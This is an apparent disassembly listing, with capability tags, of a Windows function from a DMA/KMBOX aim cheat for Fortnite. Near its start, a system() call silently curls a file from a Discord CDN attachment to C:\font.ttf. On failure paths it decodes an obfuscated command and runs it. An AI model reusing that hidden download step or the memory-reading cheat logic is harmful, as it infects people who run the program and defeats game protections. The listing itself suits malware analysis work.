Function at 0x140047830
Capabilities:
Create thread
Execute command
Log keystrokes via polling
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x4e0]
sub rsp, 0x5e0
mov rax, qword [0x140066040]
xor rax, rsp
mov qword [rbp + 0x4d0], rax
xor r12d, r12d
lea rcx, [0x14005bc84]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
lea rdx, [rbp + 0x1d0]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rbp + 0x1d8]
mov dword [0x140067a7c], eax
mov eax, dword [rbp + 0x1dc]
mov dword [0x140067a8c], eax
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1170254054077771799_1197115868421816400_fonter.ttf___silent__o_C:_font.ttf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.KMBOX_B__1_n_n
call fcn.14003f140
lea rcx, str.KMBOX_NET__2_n_n
call fcn.14003f140
lea rcx, str.OPTION___
call fcn.14003f140
lea rdx, [rbp + 0x230]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [rbp + 0x230]
cmp eax, 1
jne 0x140047ad9
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r12
mov qword [rbp + 0x1e8], r12
lea r8d, [r12 + 0x10]
lea rdx, str.USB_SERIAL_CH340
lea rcx, [rbp + 0x1d0]
call fcn.140043a90
nop
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x1f0]
call fcn.140047430
nop
cmp qword [rbp + 0x200], r12
je 0x140047957
lea rcx, str.KMBOX_B_FOUND__n
call fcn.14003f140
jmp 0x140047963
lea rcx, str.KMBOX_B_NOT_FOUND__n
call fcn.14003f2e0
lea rcx, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0xf
cmova rcx, qword [rbp + 0x1f0]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x140067a68], rax
cmp rax, 0xffffffffffffffff
je 0x140047a31
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x214], xmm0
mov qword [rbp + 0x224], r12
mov dword [rbp + 0x210], 0x1c
lea rdx, [rbp + 0x210]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetCommState]
mov rcx, qword [0x140067a68]
test eax, eax
jne 0x1400479f0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140047a31
mov dword [rbp + 0x214], 0x1c200
mov word [rbp + 0x222], 8
mov byte [rbp + 0x224], 0
lea rdx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_SetCommState]
test eax, eax
jne 0x140047a2a
mov rcx, qword [0x140067a68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140047a31
mov byte [0x140067a64], 1
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x140047a75
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047a70
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047a70
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400535b4
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x208], sendto
mov byte [rbp + 0x1f0], 0
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x140047ce6
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047cd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047cd4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp eax, 2
jne 0x140047cdb
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r12
mov qword [rbp + 0x1e8], sendto
mov byte [rbp + 0x1d0], r12b
movups xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], r12
mov qword [rbp + 0x228], sendto
mov byte [rbp + 0x210], 0
movups xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x208], sendto
mov byte [rbp + 0x1f0], 0
lea rcx, str.KMBOX_NET_IP_____n
call fcn.14003f140
lea rdx, [rbp + 0x1d0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140049d50
lea rcx, str.KMBOX_NET_PORT_____n
call fcn.14003f140
lea rdx, [rbp + 0x210]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140049d50
lea rcx, str.KMBOX_NET_UUID_____n
call fcn.14003f140
lea rdx, [rbp + 0x1f0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140049d50
lea r8, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 0xf
cmova r8, qword [rbp + 0x1f0]
lea rdx, [rbp + 0x210]
cmp qword [rbp + 0x228], 0xf
cmova rdx, qword [rbp + 0x210]
lea rcx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0xf
cmova rcx, qword [rbp + 0x1d0]
call fcn.140043f40
mov byte [0x140067a64], 1
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x140047c38
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047c32
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047c32
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400535b4
nop
mov rdx, qword [rbp + 0x228]
cmp rdx, 0xf
jbe 0x140047c7c
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047c77
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047c77
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400535b4
mov qword [rbp + 0x220], r12
mov qword [rbp + 0x228], sendto
mov byte [rbp + 0x210], 0
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x140047ce6
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047cd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047cd4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400535b4
jmp 0x140047ce6
dec eax
cmp eax, 1
ja 0x1400487c1
mov ecx, 8
call fcn.140053b08
lea rcx, [0x140051b10]
mov qword [rax], rcx
mov qword [rbp + 0x1d0], rax
lea rcx, [rbp + 0x258]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x14004b7b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x250], rax
test rax, rax
je 0x1400487ae
mov ecx, 8
call fcn.140053b08
lea rcx, [0x140047140]
mov qword [rax], rcx
mov qword [rbp + 0x1d0], rax
lea rcx, [rbp + 0x248]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x14004b7b0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x240], rax
test rax, rax
je 0x14004879b
xorps xmm0, xmm0
lea rax, [0x140056af6]
mov qword [rbp + 0x1f0], rax
lea rax, str._device
mov qword [rbp + 0x1f8], rax
lea rax, str.FPGA
mov qword [rbp + 0x200], rax
movdqu xmmword [rbp + 0x2e0], xmm0
mov qword [rbp + 0x2f0], r12
mov edx, 3
lea rcx, [rbp + 0x2e0]
call fcn.14004b300
mov r8d, 0x18
lea rdx, [rbp + 0x1f0]
mov rdi, qword [rbp + 0x2e0]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
lea r14, [rdi + 0x18]
mov qword [rbp + 0x2e8], r14
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x260], xmm0
movups xmmword [rbp + 0x270], xmm0
movups xmmword [rbp + 0x280], xmm0
mov qword [rbp + 0x290], rax
movdqu xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], r12
sub r14, rdi
mov rsi, r14
sar rsi, 3
test rsi, rsi
je 0x140047e68
mov rdx, rsi
lea rcx, [rbp + 0x210]
call fcn.14004b300
mov rbx, qword [rbp + 0x210]
mov r8, r14
mov rdx, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + rsi*8]
mov qword [rbp + 0x218], rax
lea rax, [rbp + 0x210]
mov qword [rbp + 0x1d0], rax
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x260]
call fcn.1400489b0
mov byte [rbp + 0x278], 0
mov qword [rbp + 0x280], r12
mov qword [rbp + 0x288], r12
mov qword [rbp + 0x290], r12
mov rcx, qword [rbp + 0x210]
test rcx, rcx
je 0x140047f06
mov rax, qword [rbp + 0x220]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047eef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047eef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400535b4
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], r12
lea rcx, str.DMA_CONNECTING..._n
call fcn.14003f140
lea rcx, [rbp + 0x260]
call fcn.14003f480
test al, al
jne 0x140047f89
lea rcx, str.DMA_CONNECTION_FAILED_n
call fcn.14003f2e0
mov rcx, qword [0x140067a48]
call qword [sym.imp.VMM.dll_VMMDLL_Close]
movabs rax, 0xe326eca54210fad
mov qword [rbp + 0x1d0], rax
movabs rax, 0x11ef60162e0da6c6
mov qword [rbp + 0x1d8], rax
movabs rcx, 0xe326eaf27546edd
mov qword [rbp + 0x1f0], rcx
mov qword [rbp + 0x1f8], rax
movdqa xmm0, xmmword [rbp + 0x1f0]
xorps xmm0, xmmword [rbp + 0x1d0]
jmp 0x140048107
mov r9, qword [rbp + 0x290]
mov r8, qword [rbp + 0x288]
mov rdx, qword [rbp + 0x280]
lea rcx, str.DMA_CONNECTED__BRAND_____lli__MODEL_____lli._lli_n_n
call fcn.14003f140
xor edx, edx
mov r8d, 0x1d0
lea rcx, [rbp + 0x300]
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov r8d, 0x1c0
lea rcx, [rbp + 0x310]
call sub.VCRUNTIME140.dll_memset
lea rsi, str.FortniteClient_Win64_Shipping.exe
mov qword [rbp + 0x300], rsi
mov ecx, 0x22
call fcn.140053b44
mov rbx, rax
mov r8, rsi
mov edx, 0x22
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea r8, [rbp + 0x30c]
mov rdx, rbx
mov rcx, qword [0x140067a48]
call qword [sym.imp.VMM.dll_VMMDLL_PidGetFromName]
test eax, eax
jne 0x14004802c
mov byte [rbp + 0x308], 1
lea rcx, str.FAILED_TO_FIND_FORTNITE_n
jmp 0x140047f29
mov edx, dword [rbp + 0x30c]
lea rcx, [rbp + 0x310]
call fcn.14003f820
cmp byte [rbp + 0x308], 0
je 0x140048053
lea rcx, str.FAILED_TO_FIND_FORTNITE_n
jmp 0x140047f29
mov edx, dword [rbp + 0x30c]
lea rcx, str.FOUND_FORTNITE__ID_____d_n
call fcn.14003f140
lea rcx, [rbp + 0x300]
call fcn.14003fae0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a0], xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov r8d, dword [rbp + 0x30c]
mov rdx, rsi
lea rcx, [rbp + 0x2a0]
call fcn.140040dc0
cmp byte [rbp + 0x2a4], 0
je 0x140048217
lea rcx, str.FAILED_TO_FIND_FORTNITE_n
call fcn.14003f2e0
mov rcx, qword [0x140067a48]
call qword [sym.imp.VMM.dll_VMMDLL_Close]
movabs rax, 0xe326eca54210fad
mov qword [rbp + 0x1d0], rax
movabs rax, 0x11ef60162e0da6c6
mov qword [rbp + 0x1d8], rax
movabs rcx, 0xe326eaf27546edd
mov qword [rbp + 0x1f0], rcx
mov qword [rbp + 0x1f8], rax
movdqa xmm0, xmmword [rbp + 0x1d0]
xorps xmm0, xmmword [rbp + 0x1f0]
mov byte [rbp + 0x278], 0
movdqa xmmword [rbp + 0x1d0], xmm0
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rcx, qword [rbp + 0x260]
test rcx, rcx
je 0x140048182
mov rax, qword [rbp + 0x270]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004816b
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400486e9
call fcn.1400535b4
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], r12
test rdi, rdi
je 0x1400481cb
mov rax, qword [rbp + 0x2f0]
sub rax, rdi
sar rax, 3
lea rdx, [rax*8]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400481c2
mov rdi, qword [rdi - 8]
sub rax, rdi
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140048743
mov rcx, rdi
call fcn.1400535b4
nop
cmp dword [rbp + 0x248], 0
jne 0x14004875c
cmp dword [rbp + 0x258], 0
jne 0x140048770
xor eax, eax
mov rcx, qword [rbp + 0x4d0]
xor rcx, rsp
call fcn.140053530
lea r11, [rsp + 0x5e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov rbx, qword [rbp + 0x2a8]
mov rdx, rbx
lea rcx, str.FOUND_FORTNITE__BASE____0x_llx_n_n
call fcn.14003f140
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2b0], r12
mov eax, dword [rbp + 0x30c]
mov dword [rbp + 0x2b8], eax
mov qword [rbp + 0x2c0], r12
mov dword [rbp + 0x2c8], r12d
lea rdx, [rbp + 0x2a0]
lea rcx, [0x140067b50]
call fcn.1400487f0
lea rcx, [rbp + 0x2a0]
call fcn.140043220
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2b0], r12
mov eax, dword [rbp + 0x30c]
mov dword [rbp + 0x2b8], eax
mov qword [rbp + 0x2c0], r12
mov dword [rbp + 0x2c8], r12d
lea rdx, [rbp + 0x2a0]
lea rcx, [0x140067e28]
call fcn.1400487f0
lea rcx, [rbp + 0x2a0]
call fcn.140043220
lea rdx, [rbp + 0x260]
lea rcx, [rsp + 0x40]
call fcn.1400412b0
lea r15, [0x140067ba0]
mov rcx, r15
lea rax, [rsp + 0x40]
mov edx, 5
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400482f0
mov rax, qword [rax]
mov qword [rcx], rax
lea rcx, str.AIMX_STARTED__END_KEY_TO_CLOSE_n
call fcn.14003f140
mov ecx, 0x23
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x140048601
lea r14, [rbx + 0x11791df8]
nop
cmp byte [0x140067ba8], 0
jne 0x14004845b
movups xmm0, xmmword [0x140067d78]
movups xmmword [0x140067dd8], xmm0
movups xmm1, xmmword [0x140067d88]
movups xmmword [0x140067de8], xmm1
movups xmm0, xmmword [0x140067d98]
movups xmmword [0x140067df8], xmm0
movups xmm1, xmmword [0x140067da8]
movups xmmword [0x140067e08], xmm1
mov edx, dword [0x140067bac]
bts edx, 0x1f
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x40
lea r9, [0x140067d78]
mov r8, qword [0x140067d70]
mov rcx, qword [0x140067a48]
call qword [sym.imp.VMM.dll_VMMDLL_MemReadEx]
mov r8d, r12d
mov r9d, r12d
nop word [rax + rax]
mov ecx, r8d
and ecx, 3
add ecx, ecx
mov eax, 1
shl eax, cl
mov ecx, r9d
shr rcx, 3
test byte [rcx + r15 + 0x1d8], al
je 0x14004844b
test byte [rcx + r15 + 0x238], al
jne 0x14004844b
mov edx, r8d
shr rdx, 3
movzx ecx, byte [rdx + r15 + 0x218]
mov eax, r8d
and eax, 7
bts ecx, eax
mov byte [rdx + r15 + 0x218], cl
inc r8d
add r9d, 2
cmp r9d, 0x200
jl 0x140048400
mov rdx, r14
lea rcx, [0x140067b50]
call fcn.140043850
mov rbx, rax
cmp rax, 0x1000000
jbe 0x1400485ed
mov qword [0x140067a70], rax
lea rdx, [rax + 0x158]
lea rcx, [0x140067b50]
call fcn.140043850
mov rsi, rax
cmp rax, 0x1000000
jbe 0x1400485ed
lea rdx, [rbx + 0x1d0]
lea rcx, [0x140067b50]
call fcn.140043850
cmp rax, 0x1000000
jbe 0x1400485ed
lea rdx, [rax + 0x38]
lea rcx, [0x140067b50]
call fcn.140043850
cmp rax, 0x1000000
jbe 0x1400485ed
mov rdx, rax
lea rcx, [0x140067b50]
call fcn.140043850
cmp rax, 0x1000000
jbe 0x1400485ed
lea rdx, [rax + 0x30]
lea rcx, [0x140067b50]
call fcn.140043850
cmp rax, 0x1000000
jbe 0x1400485ed
mov qword [0x140067a98], rax
lea rdx, [rax + 0x338]
lea rcx, [0x140067b50]
call fcn.140043850
lea rdx, [rax + 0x2b0]
lea rcx, [0x140067b50]
call fcn.140043850
lea rdx, [rax + 0x10f1]
call fcn.140049f30
mov dword [0x140067a80], eax
mov rdx, qword [0x140066680]
add rdx, rsi
call fcn.140049f30
mov ebx, eax
lea rdx, [rsi + 0x2a8]
lea rcx, [0x140067b50]
call fcn.140043850
cmp rax, 0x1000000
jbe 0x1400485ed
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a0], xmm0
mov qword [rbp + 0x2a0], rax
mov dword [rbp + 0x2a8], ebx
movdqu xmmword [rbp + 0x2b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2c0], xmm1
movdqu xmmword [rbp + 0x2d0], xmm0
lea rcx, [rbp + 0x2a0]
call fcn.140046640
mov qword [rbp + 0x1d0], 1
lea rcx, [rbp + 0x1d0]
call fcn.140043700
nop
lea rcx, [rbp + 0x2c8]
call fcn.1400488f0
lea rcx, [rbp + 0x2b0]
call fcn.1400488f0
mov ecx, 0x23
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140048370
call qword [sym.imp.VMM.dll_VMMDLL_CloseAll]
cmp dword [rbp + 0x258], 0
je 0x14004878f
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbp + 0x258], eax
je 0x140048783
movaps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x1f0], xmm0
xor edx, edx
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x140048777
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x250], xmm0
cmp dword [rbp + 0x248], eax
je 0x14004878f
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbp + 0x248], eax
je 0x140048783
movaps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x1f0], xmm0
xor edx, edx
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x140048777
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x240], xmm0
mov rcx, qword [rbp + 0x260]
test rcx, rcx
je 0x140048707
mov rax, qword [rbp + 0x270]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400486f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400486f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400535b4
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], r12
test rdi, rdi
je 0x140048753
mov rax, qword [rbp + 0x2f0]
sub rax, rdi
sar rax, 3
lea rdx, [rax*8]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14004874a
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004874a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400535b4
nop
cmp dword [rbp + 0x248], 0
je 0x140048763
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
cmp dword [rbp + 0x258], 0
je 0x1400481e5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x248], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x258], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea rcx, str.INVALID_KMBOX_SELECTION__CLOSING...
call fcn.14003f140
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3